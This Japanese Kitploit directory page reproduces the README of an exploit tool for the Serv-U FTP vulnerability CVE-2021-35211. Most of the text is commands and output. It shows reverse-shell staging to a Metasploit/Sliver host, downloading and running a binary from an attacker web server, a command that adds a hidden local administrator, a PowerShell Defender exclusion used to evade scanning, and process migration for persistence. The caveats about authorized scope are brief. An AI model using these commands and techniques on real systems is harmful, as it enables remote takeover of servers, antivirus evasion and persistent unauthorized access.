Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/0xhaggis/cve-2021-35211
脆弱性分析エクスプロイトシェルコードペネトレーションテストコマンド&コントロールリモートアクセスツールペイロード開発バイナリエクスプロイト
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 エクスプロイト

リポジトリを見る
134年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Serv-U CVE-2021-35211 エクスプロイト

DoSの可能性 - 攻撃許可範囲を確認してください

このエクスプロイトは毎回動作するわけではありませんが、約5〜6回に1回の割合でシェルコードを実行できる程度には動作します。ただし、失敗したエクスプロイトがServ-Uサーバーをクラッシュさせることもあります。攻撃許可範囲がサービスの損失や低下のリスクを許容していることを確認してください。テストで確認された症状は以下の通りです:

  • クラッシュと自動再起動(最も一般的)
  • 成功時および失敗時の両方でログインユーザーの切断
  • 自動再起動に失敗するクラッシュ

自己責任。

クイックスタート

バージョンが重要です。このエクスプロイトはServ-Uバージョン15.2.3.717でのみ有効なハードコードされたROPアドレスを使用します。他のバージョンを追加できる可能性があります。異なるバージョンのServ-UやWindowsで動作させる必要がある場合はお問い合わせください。

ターゲットのバージョンを確認

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

エクスプロイトの実行

以下の引数を取ります:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

成功した攻撃で実行できる3つのモード(ペイロード)があります:

  1. stage
  2. exec
  3. downloadexec

ステージモード

エクスプロイトが成功すると、Metasploit/Sliver互換のシェルコードステージャーを実行します。これはすべてのペイロードの中で最も信頼性が低いです。代わりにdownloadexec1を検討してください。次のように実行します:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHostとstagePortは、Sliver/Metasploitボックス上の待機中のハンドラを指します。任意のペイロードを選択できますが、確実に動作することが確認されているのはwindows/x64/shell/reverse_tcpのみです。これは暗号化されていないシェルであるため残念ですが、そのようなものを発射する前に攻撃許可範囲を確認する必要があります。

繰り返しますが、自己責任です。

Kaliボックス上で実行中のMetasploitで次のようにセットアップします:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

次にエクスプロイトを実行します:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Kaliボックスに戻ると、ステージリクエストとコマンドシェルの起動が表示されるはずです:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

ステージャーペイロードのSliverサポートは非常に実験的であり、めったに動作しません。動作した場合でも、通常はセッションが開始されるとすぐに終了します。しかし、即座に終了しないセッションが得られた場合は、別のプロセスに移行することでSliverアクセスを維持する手順を実行できます。

Sliverサーバー上でstage-listenerコマンドを実行してリスナーをセットアップします。ステージングの詳細についてはSliverドキュメントを参照してください:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

ステージモードでエクスプロイトを実行します:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

エクスプロイトが動作した場合(SliverやMeterpreterペイロードでは非常にまれですが)、次のような表示がされます(そしてそうです、Sliverがこのペイロード名を自ら考え出しました!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

最初に行うべきことは、別のプロセスに移行することです。Sliverセッションが終了して戻ってこなくなる可能性が高く、現時点では根本原因が分かっていないためです。

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

この時点で、Serv-Uとこのエクスプロイトの変動の影響を受けない、堅牢なSliverセッションが得られるはずです。

ダウンロード実行モード

最も信頼性が高く、Microsoft Defenderエンドポイントセキュリティに検知される可能性が最も低いモードです。これは、Powershellコマンド(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")を使用してMicrosoft Defenderにディレクトリ除外を追加し、Sliver/Meterpreterなどのバイナリがマルウェアとしてスキャンされないようにするためです。これによりWindows Defenderからは保護されますが、それだけです。他のエンドポイントセキュリティ技術、ネットワークIDSなどにも対応する必要があります。

成功すると、URLからバイナリをダウンロードして実行します。実行ファイルをホストするWebサーバーが必要です。私はPythonを使用しましたが、SSLなしのローカルネットワークでテストしていることに注意してください。実際のエクスプロイトでは、暗号化されていないURLを使用する場合は攻撃許可範囲を確認する必要があります。

初めてではありませんが:自己責任。

次のようにシンプルなHTTPリスナーを実行します:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

リスナーを実行した状態でエクスプロイトを実行できます:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

リスナーに次のような表示がされるはずです:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

ターゲットはcalc.exeを実行し、Serv-Uサービスを再起動してユーザーが再び接続できるようにします。実行ファイルはウィンドウを表示しませんが、この例を実行するとタスクマネージャーにwincalc.exeが表示されるはずです。

コマンド実行モード

成功すると、ターゲット上でコマンドを実行します。次のように実行します:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

クレジット

  • 脆弱性をファジングしたMicrosoftの研究者:https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • 私のコードの基となったPoCを行った@NattiSamson:https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

最後に

このエクスプロイトは残念ながらリモートプロセスをクラッシュさせる傾向があります。通常は再起動します。より安定させることができないか試していますが、それまでは覚えておいてください:攻撃許可範囲を確認し、自己責任でお願いします。

ツールをダウンロード